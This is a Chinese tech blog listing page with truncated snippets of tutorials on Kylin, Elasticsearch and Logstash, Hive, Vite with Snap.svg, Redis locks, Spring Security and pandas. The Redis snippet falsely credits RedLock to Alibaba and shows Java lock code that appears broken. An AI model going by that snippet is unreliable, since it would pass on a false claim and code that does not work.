...如Cube名称、维度定义、度量定义以及其元数据和状态等。它代表了一个已经创建并可以被查询的实际Cube对象。 维度(Dimension) , 在Kylin Cube设计中,维度是指分析数据时用于描述事实表中各个记录的属性或特征,例如时间、地区、产品类别等。维度决定了数据集中的观察角度,并影响着Cube的数据聚合级别和大小。通过选择合适的维度组合,用户可以在查询时快速定位到所需的数据子集。 度量(Measure) , 在Kylin Cube中,度量是指需要进行聚合运算的字段,通常对应业务指标,如销售额、访问量、用户数等。对于每个度量,可以根据实际需求配置相应的聚合函数,如SUM(求和)、AVG(平均值)、COUNT(计数)等,以实现对原始数据的高效统计分析。 切片设计(Slice Design) , 在Apache Kylin中,切片设计是指将Cube划分为多个较小的部分,即“切片”,以便于分布式并行处理和存储。切片的设计直接影响了Cube构建和查询的性能,合理的切片划分能够有效分散计算压力,提高处理效率。 分区策略(Partition Strategy) , 在大数据环境下,分区策略是一种物理数据组织方式,主要用于优化数据管理和查询性能。在Kylin Cube中,分区策略主要指按照某个维度(如时间维度)将Cube划分为不同的逻辑单元,这些单元可以在构建和查询时独立执行,从而加速Cube构建过程及提升查询响应速度。例如,根据日期字段,可按月或按日对Cube进行分区。
2023-05-22 18:58:46
45
青山绿水
ElasticSearch
...h,以及如何利用它来处理那些不在核心业务流程中的数据。你可能想问:“这有啥了不起的?”让我来告诉你,当你得去扒拉日志、监控指标这些非业务数据时,Elasticsearch 真的就像是你的救命稻草。 想象一下,你有一个电商网站,每天都有大量的用户访问、购买商品。不过呢,除了这些基本的交易数据,你是不是还想知道用户都是怎么逛你的网站的,他们在每个页面上花了多长时间啊?这些数据虽然不会直接让销售额飙升,但对提升用户体验和改进产品设计可是大有裨益。这就是我们为什么要异步采集非业务数据的原因。 2. 选择合适的数据采集工具 既然要采集非业务数据,那么选择合适的工具就显得尤为重要了。这里有几个流行的开源工具可以考虑: - Logstash: 它是Elastic Stack的一部分,专门用于日志收集。 - Fluentd: 一个开源的数据收集器,支持多种数据源。 - Telegraf: 一款轻量级的代理,用于收集各种系统和应用的度量数据。 这些工具各有特点,可以根据你的具体需求选择最适合的一个。比如,假如你的数据主要来自日志文件,那Logstash绝对是个好帮手;但要是你需要监控的是系统性能指标,那Telegraf可能会更对你的胃口。 3. 配置Elasticsearch以接收数据 接下来,我们要确保Elasticsearch已经配置好,能够接收来自不同数据源的数据。首先,你需要安装并启动Elasticsearch。假设你已经安装好了,接下来要做的就是配置索引模板(Index Template)。 json PUT _template/my_template { "index_patterns": ["my-index-"], "settings": { "number_of_shards": 1, "number_of_replicas": 1 }, "mappings": { "_source": { "enabled": true }, "properties": { "timestamp": { "type": "date" }, "message": { "type": "text" } } } } 上面这段代码定义了一个名为my_template的模板,适用于所有以my-index-开头的索引。这个模板里头设定了索引的分片数和副本数,还定义了两个字段:一个存时间戳叫timestamp,另一个存消息内容叫message。 4. 使用Logstash采集数据 现在我们有了Elasticsearch,也有了数据采集工具,接下来就是让它们协同工作。这里我们以Logstash为例,看看如何将日志数据采集到Elasticsearch中。 首先,你需要创建一个Logstash配置文件(.conf),指定输入源、过滤器和输出目标。 conf input { file { path => "/var/log/nginx/access.log" start_position => "beginning" } } filter { grok { match => { "message" => "%{COMBINEDAPACHELOG}" } } date { match => [ "timestamp", "dd/MMM/yyyy:HH:mm:ss Z" ] } } output { elasticsearch { hosts => ["localhost:9200"] index => "nginx-access-%{+YYYY.MM.dd}" } } 这段配置文件告诉Logstash从/var/log/nginx/access.log文件读取数据,使用Grok过滤器解析日志格式,然后将解析后的数据存入Elasticsearch中。这里的hosts参数指定了Elasticsearch的地址,index参数定义了索引的命名规则。 5. 实战演练 分析数据 最后,让我们来看看如何通过Elasticsearch查询和分析这些数据。好了,假设你已经把日志数据成功导入到了Elasticsearch里,现在你想看看最近一天内哪些网址被访问得最多。 bash GET /nginx-access-/_search { "size": 0, "aggs": { "top_pages": { "terms": { "field": "request", "size": 10 } } } } 这段查询语句会返回过去一天内访问量最高的10个URL。通过这种方式,你可以快速获取关键信息,从而做出相应的决策。 6. 总结与展望 通过这篇文章,我们学习了如何使用Elasticsearch异步采集非业务数据,并进行了简单的分析。这个过程让我们更懂用户的套路,还挖出了不少宝贝,帮我们更好地升级产品和服务。 当然,实际操作中可能会遇到各种问题和挑战,但只要保持耐心,不断实践和探索,相信你一定能够掌握这项技能。希望这篇教程能对你有所帮助,如果你有任何疑问或者建议,欢迎随时留言交流! --- 好了,朋友们,今天的分享就到这里。希望你能从中获得灵感,开始你的Elasticsearch之旅。记住,技术的力量在于应用,让我们一起用它来创造更美好的世界吧!
2024-12-29 16:00:49
76
飞鸟与鱼_
转载文章
...内存开销,并提升数据处理速度。通过将动态大小的数据块直接附加到结构体末尾,不仅简化了内存管理逻辑,而且减少了因多次内存分配带来的性能损耗和内存碎片问题。 同时,数据库管理系统如MongoDB和PostgreSQL的部分实现也采用了类似的思想,虽然它们并未直接使用C99的柔性数组成员,但在设计变长字段存储时借鉴了这种思路,实现了更高效的空间利用率。 此外,学术界对于柔性数组的研究也在持续深入。有研究论文探讨了柔性数组在嵌入式系统、网络协议栈等场景下的优劣表现,分析了不同应用场景下柔性数组与传统指针方式在内存安全、性能以及代码可读性等方面的对比。 综上所述,柔性数组作为C99引入的重要特性,其设计理念对当今软件工程有着深远的影响,尤其在内存管理精细化、系统性能优化等方面提供了新的解决方案。关注和学习柔性数组的原理与应用,有助于开发者在实际工作中更好地应对各种复杂场景,编写出更为高效且易于维护的代码。
2023-01-21 13:56:11
502
转载
Hive
...改和数据修复,这对于处理大规模实时数据和高并发更新的场景尤为重要。它通过将数据分割成行块(row-based)和数据文件(data files),使得数据读写效率得到提升,尤其是在处理频繁的插入和删除操作时,能够实现实时分析。 Hive ML , Hive ML是Hive的一个扩展模块,专为在Hive SQL环境中进行机器学习而设计。它允许用户在SQL查询中直接调用预定义的机器学习函数,无需编写复杂的脚本或切换到专门的机器学习工具。这样可以简化数据分析流程,提高数据科学家的生产力,同时也降低了学习曲线,使得非专业开发人员也能利用Hive进行基本的机器学习任务。 Hive-on-Spark , 这是一个Hive与Apache Spark的集成项目,它允许用户在Hive SQL中利用Spark的分布式计算能力。Hive-on-Spark通过将Hive SQL编译为Spark SQL,然后在Spark集群上执行,实现了Hive查询的高性能执行。这对于处理大数据集和复杂分析场景非常有效,因为它可以利用Spark的内存计算优势,避免了Hive自身的磁盘I/O瓶颈。
2024-04-04 10:40:57
769
百转千回
Javascript
...可以帮助我们更高效地处理SVG内容,尤其是在需要动态生成或修改SVG图形的情况下。不过嘛,当我们想把它用在Vite项目里的时候,可能会碰到一些意料之外的难题。 三、遇到的问题 Snap.svg在Vite环境下报错 在实际开发过程中,我遇到了这样一个问题:当我尝试在Vite项目中引入Snap.svg时,会遇到各种错误提示,比如找不到模块、类型定义不匹配等等。这确实让人有些沮丧,因为原本期待的是一个流畅的开发过程。 具体来说,错误信息可能是这样的: Cannot find module 'snapsvg' or its corresponding type declarations. 或者: Module build failed (from ./node_modules/@dcloudio/vue-cli-plugin-uni/packages/webpack/lib/loaders/svgo-loader.js): Error: SVG not found 这些问题往往会让新手感到困惑,甚至对于有一定经验的开发者来说也会觉得棘手。但别担心,接下来我会分享几个解决方案。 四、解决方案 正确引入Snap.svg 解决方案1:安装Snap.svg 首先,确保你的项目中已经安装了Snap.svg。可以通过npm或yarn进行安装: bash npm install snapsvg 或者 yarn add snapsvg 解决方案2:配置Vite的别名或路径映射 有时候,Vite可能无法直接识别到Snap.svg的路径。这时,你可以通过配置Vite的别名或者路径映射来解决这个问题。打开vite.config.ts文件(如果没有这个文件,则需要创建),添加如下配置: typescript import { defineConfig } from 'vite'; export default defineConfig({ resolve: { alias: { 'snapsvg': 'snapsvg/dist/snapsvg.js', }, }, }); 这样做的目的是告诉Vite,当你引用snapsvg时,实际上是引用snapsvg/dist/snapsvg.js这个文件。 解决方案3:手动导入 如果上述方法仍然无法解决问题,你可以尝试直接在需要使用Snap.svg的地方进行手动导入: javascript import Snap from 'snapsvg/dist/snap.svg'; 然后,在你的代码中就可以正常使用Snap对象了。 解决方案4:检查TypeScript配置 如果你的项目使用了TypeScript,并且遇到了类型定义的问题,确保你的tsconfig.json文件中包含了正确的类型声明路径: json { "compilerOptions": { "types": ["snapsvg"] } } 五、实践案例 动手试试看 现在,让我们通过一个小案例来看看这些解决方案的实际应用效果吧! 假设我们要创建一个简单的SVG圆形,并为其添加动画效果: html Snap.svg Example javascript // main.js import Snap from 'snapsvg/dist/snap.svg'; const s = Snap('svg-container'); // 创建一个圆形 const circle = s.circle(100, 100, 50); circle.attr({ fill: 'f06', }); // 添加动画效果 circle.animate({ r: 70 }, 1000); 在这个例子中,我们首先通过Snap('svg-container')选择了SVG容器,然后创建了一个圆形,并为其添加了一个简单的动画效果。 六、总结与展望 通过今天的讨论,相信你已经对如何在Vite环境中正确引入Snap.svg有了更深的理解。虽然路上可能会碰到些难题,但只要找到对的方法,事情就会变得轻松许多。未来的日子里,随着技术不断进步,我打心眼里觉得,咱们一定能找到更多又高效又方便的新方法来搞定这些问题。 希望这篇教程对你有所帮助!如果你有任何疑问或更好的建议,欢迎随时交流。编程路上,我们一起进步! --- 希望这篇文章能够满足您的需求,如果有任何进一步的要求或想要调整的部分,请随时告诉我!
2024-11-28 15:42:34
104
清风徐来_
转载文章
...,通过结合shell脚本自动化批量处理文件,或利用inotifywait工具监控文件变化实时触发相应操作,这些都大大提升了工作效率。 在信息安全领域,《Linux Journal》最近的一篇文章指出,熟练运用find、grep等命令进行日志分析与安全审计至关重要。同时,du命令结合ncdu这样的可视化工具,不仅能够帮助管理员直观了解磁盘使用情况,还能及时发现潜在的大文件问题,避免存储资源浪费。 此外,对于分布式文件系统如Hadoop HDFS或GlusterFS的管理,虽然底层原理与本地文件系统有所不同,但依然离不开ls、mkdir、cp、rm等基础命令的灵活运用。因此,在进一步学习中,读者可以关注如何将这些基础命令应用于大型集群环境,以及如何通过高级配置实现跨节点的文件操作。 在最新的Linux内核版本中,针对文件系统的优化和新特性也值得关注,例如Btrfs和ZFS等现代文件系统的引入,为用户提供更为强大且灵活的文件管理功能。综上所述,持续关注Linux操作系统的新发展动态,结合实战案例深入理解并灵活运用各项命令,是提高Linux系统管理能力的关键所在。
2023-06-16 19:29:49
512
转载
Redis
...获取锁成功,执行业务逻辑 } 在这个例子中,我们首先创建了一个名为lock_key的键,然后将其值设为当前时间戳。如果这个键之前不存在,那么setNx方法会返回true,表示获取到了锁。 2. 基于RedLock算法实现 RedLock算法是一种基于Redis的分布式锁解决方案,由阿里巴巴开发。它就像个聪明的小管家,为了保证锁的安全性,会在不同的数据库实例上反复尝试去拿到锁,这样一来,就巧妙地躲过了死锁这类让人头疼的问题。 java List servers = Arrays.asList("localhost:6379", "localhost:6380", "localhost:6381"); int successCount = 0; for(String server : servers){ Jedis jedis = new Jedis(server); String result = jedis.setnx(key, value); if(result == 1){ successCount++; if(successCount >= servers.size()){ // 获取锁成功,执行业务逻辑 break; } }else{ // 锁已被获取,重试 } jedis.close(); } 在这个例子中,我们首先创建了一个包含三个服务器地址的列表,然后遍历这个列表,尝试在每个服务器上获取锁。如果获取锁成功,则增加计数器successCount的值。如果successCount大于等于列表长度,则表示获取到了锁。 四、如何优化Redis分布式锁的性能 在实际应用中,为了提高Redis分布式锁的性能,我们可以采取以下几种策略: 1. 采用多线程来抢占锁,避免在单一线程中长时间阻塞。 java ExecutorService executorService = Executors.newFixedThreadPool(10); Future future = executorService.submit(() -> { return tryAcquireLock(); }); Boolean result = future.get(); if(result){ // 获取锁成功,执行业务逻辑 } 在这个例子中,我们创建了一个固定大小的线程池,然后提交一个新的任务来尝试获取锁。这样,我们可以在多个线程中同时竞争锁,提高了获取锁的速度。 2. 设置合理的超时时间,避免长时间占用锁资源。 java int timeout = 5000; // 超时时间为5秒 String result = jedis.setnx(key, value, timeout); if(result == 1){ // 获取锁成功,执行业务逻辑 } 在这个例子中,我们在调用setNx方法时指定了超时时间为5秒。如果在5秒内无法获取到锁,则方法会立即返回失败。这样,我们就可以避免因为锁的竞争而导致的无谓等待。 五、总结 通过上述的内容,我们可以了解到,在Redis中实现分布式锁可以采用多种方式,包括基于SETNX命令和RedLock算法等。在实际操作里,咱们还要瞅准自家的需求,灵活选用最合适的招数来搞分布式锁这回事儿。同时,别忘了给它“健个身”,优化一下性能,这样一来才能更溜地满足业务上的各种要求。
2023-10-15 17:22:05
316
百转千回_t
SpringBoot
...问题虽然看似简单,但处理起来却充满了挑战。特别是在用SpringBoot的时候,这事儿可不只是技术活儿,还得懂怎么设计整个系统,还得对各种小细节特别上心。接下来,我会通过几个实际的例子,带你一步步揭开权限管理失败的面纱。 1. 初识权限管理 首先,让我们从最基本的概念说起。权限管理,顾名思义,就是控制用户对资源的访问权限。在Web应用中,这通常涉及到用户登录、角色分配以及特定操作的授权等环节。说到SpringBoot,实现这些功能其实挺简单的,但是要想让它稳定又安全,那可就得花点心思了。 举个例子: 假设我们有一个简单的用户管理系统,其中包含了添加、删除用户的功能。为了保证安全,我们需要限制只有管理员才能执行这些操作。这时,我们就需要用到权限管理了。 java // 使用Spring Security进行简单的权限检查 @Service public class UserService { @PreAuthorize("hasRole('ADMIN')") public void addUser(User user) { // 添加用户的逻辑 } @PreAuthorize("hasRole('ADMIN')") public void deleteUser(Long userId) { // 删除用户的逻辑 } } 在这个例子中,我们利用了Spring Security框架提供的@PreAuthorize注解来限定只有拥有ADMIN角色的用户才能调用addUser和deleteUser方法。这事儿看着挺简单,但就是这种看似不起眼的设定,经常被人忽略,结果权限管理就搞砸了。 2. 权限管理失败的原因分析 权限管理失败可能是由多种原因造成的。最常见的原因包括但不限于: - 配置错误:比如在Spring Security的配置文件中错误地设置了权限规则。 - 逻辑漏洞:例如,在进行权限验证之前,就已经执行了敏感操作。 - 测试不足:在上线前没有充分地测试各种边界条件下的权限情况。 案例分享: 有一次,我在一个项目中负责权限模块的开发。最开始我觉得一切风平浪静,直到有天一个同事告诉我,他居然能删掉其他人的账户,这下可把我吓了一跳。折腾了一番后,我才明白问题出在哪——原来是在执行删除操作之前,我忘了仔细检查用户的权限,就直接动手删东西了。这个错误让我深刻认识到,即使是最基本的安全措施,也必须做到位。 3. 如何避免权限管理失败 既然已经知道了可能导致权限管理失败的因素,那么如何避免呢?这里有几个建议: - 严格遵循最小权限原则:确保每个用户仅能访问他们被明确允许访问的资源。 - 全面的测试:不仅要测试正常情况下的权限验证,还要测试各种异常情况,如非法请求等。 - 持续学习与更新:安全是一个不断变化的领域,新的攻击手段和技术层出不穷,因此保持学习的态度非常重要。 代码示例: 为了进一步加强我们的权限管理,我们可以使用更复杂的权限模型,如RBAC(基于角色的访问控制)。下面是一个使用Spring Security结合RBAC的简单示例: java @Configuration @EnableWebSecurity public class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.authorizeRequests() .antMatchers("/admin/").hasRole("ADMIN") .anyRequest().authenticated() .and() .formLogin().permitAll(); } @Autowired public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { auth.inMemoryAuthentication() .withUser("user").password("{noop}password").roles("USER") .and() .withUser("admin").password("{noop}password").roles("ADMIN"); } } 在这个配置中,我们定义了两种角色:USER和ADMIN。嘿,你知道吗?只要网址里有/admin/这串字符的请求,都得得有个ADMIN的大角色才能打开。其他的请求嘛,就简单多了,只要登录了就行。 4. 结语 权限管理的艺术 权限管理不仅是技术上的挑战,更是对开发者细心和耐心的考验。希望看完这篇文章,你不仅能get到一些实用的技术小技巧,还能深刻理解到权限管理这事儿有多重要,毕竟安全无小事嘛!记住,安全永远是第一位的! 好了,这就是今天的分享。如果你有任何想法或疑问,欢迎随时留言交流。希望我的经验对你有所帮助,让我们一起努力,构建更加安全的应用吧!
2024-11-02 15:49:32
62
醉卧沙场
转载文章
...间序列与截面对齐 在处理金融数据时,最费神的一个问题就是所谓的“数据对齐” (data alignment)问题。两个相关的时间序列的索引可能没有很好的对齐,或两个DataFrame对象可能含有不匹配的列或行。 Pandas可以在算术运算中自动对齐数据。在实际工作中,这不仅能为你带来极大自由度,而且还能提升工作效率。如下,看这个两个DataFrame分别含有股票价格和成交量的时间序列: 假设你想要用所有有效数据计算一个成交量加权平均价格(为了简单起见,假设成交量数据是价格数据的子集)。由于pandas会在算术运算过程中自动将数据对齐,并在sum这样的函数中排除缺失数据,所以我们只需编写下面这条简洁的表达式即可: 由于SPX在volume中找不到,所以你随时可以显式地将其丢弃。如果希望手工进行对齐,可以使用DataFrame的align方法,它返回的是一个元组,含有两个对象的重索引版本: 另一个不可或缺的功能是,通过一组索引可能不同的Series构建一个DataFrame。 跟前面一样,这里也可以显式定义结果的索引(丢弃其余的数据): 时间和“最当前”数据选取 假设你有一个很长的盘中市场数据时间序列,现在希望抽取其中每天特定时间的价格数据。如果数据不规整(观测值没有精确地落在期望的时间点上),该怎么办?在实际工作当中,如果不够小心仔细的话,很容易导致错误的数据规整化。看看下面这个例子: 利用Python的datetime.time对象进行索引即可抽取出这些时间点上的值: 实际上,该操作用到了实例方法at_time(各时间序列以及类似的DataFrame对象都有): 还有一个between_time方法,它用于选取两个Time对象之间的值: 正如之前提到的那样,可能刚好就没有任何数据落在某个具体的时间上(比如上午10点)。这时,你可能会希望得到上午10点之前最后出现的那个值: 如果将一组Timestamp传入asof方法,就能得到这些时间点处(或其之前最近)的有效值(非NA)。例如,我们构造一个日期范围(每天上午10点),然后将其传入asof: 拼接多个数据源 在金融或经济领域中,还有几个经常出现的合并两个相关数据集的情况: ·在一个特定的时间点上,从一个数据源切换到另一个数据源。 ·用另一个时间序列对当前时间序列中的缺失值“打补丁”。 ·将数据中的符号(国家、资产代码等)替换为实际数据。 第一种情况:其实就是用pandas.concat将两个TimeSeries或DataFrame对象合并到一起: 其他:假设data1缺失了data2中存在的某个时间序列: combine_first可以引入合并点之前的数据,这样也就扩展了‘d’项的历史: DataFrame也有一个类似的方法update,它可以实现就地更新。如果只想填充空洞,则必须传入overwrite=False才行: 上面所讲的这些技术都可实现将数据中的符号替换为实际数据,但有时利用DataFrame的索引机制直接对列进行设置会更简单一些: 收益指数和累计收益 在金融领域中,收益(return)通常指的是某资产价格的百分比变化。一般计算两个时间点之间的累计百分比回报只需计算价格的百分比变化即可:对于其他那些派发股息的股票,要计算你在某只股票上赚了多少钱就比较复杂了。不过,这里所使用的已调整收盘价已经对拆分和股息做出了调整。不管什么样的情况,通常都会先算出一个收益指数,它是一个表示单位投资(比如1美元)收益的时间序列。 从收益指数中可以得出许多假设。例如,人们可以决定是否进行利润再投资。我们可以利用cumprod计算出一个简单的收益指数: 得到收益指数之后,计算指定时期内的累计收益就很简单了: 当然了,就这个简单的例子而言(没有股息也没有其他需要考虑的调整),上面的结果也能通过重采样聚合(这里聚合为时期)从日百分比变化中计算得出: 如果知道了股息的派发日和支付率,就可以将它们计入到每日总收益中,如下所示: 本篇文章为转载内容。原文链接:https://blog.csdn.net/geerniya/article/details/80534324。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-16 19:15:59
324
转载
SeaTunnel
...操作中,事务是指一组逻辑上相关的操作,这些操作要么全部成功执行,要么全部不执行,以保证数据的一致性和完整性。当数据库系统在执行事务的过程中遇到错误或者异常情况,导致事务无法正常完成并保存到数据库中,就会发生事务提交失败的情况。这种情况可能导致数据的不一致或丢失,因此需要找出失败的原因并采取相应措施进行修复。 Apache SeaTunnel , Apache SeaTunnel(曾用名Dlink)是一款开源的数据集成平台,专门用于高效处理大规模数据的同步和迁移。它支持多种数据源和数据存储系统,能够实现数据的抽取、转换和加载(ETL)。SeaTunnel提供了灵活的配置选项和丰富的插件系统,使得用户可以方便地定义和执行复杂的数据处理流程,满足不同场景下的数据集成需求。 配置文件 , 配置文件是一种用于存储软件应用运行时所需的各种参数和设置信息的文件。在Apache SeaTunnel中,配置文件包含了数据源和目标数据库的连接信息、数据处理逻辑以及其他运行时参数。通过修改配置文件,用户可以灵活地调整数据集成流程,如指定不同的数据源、改变数据处理逻辑或调整性能参数,从而适应不同的业务需求和环境变化。
2025-02-04 16:25:24
112
半夏微凉
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
nc -l 8080
- 开启一个监听8080端口的简单网络服务器。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"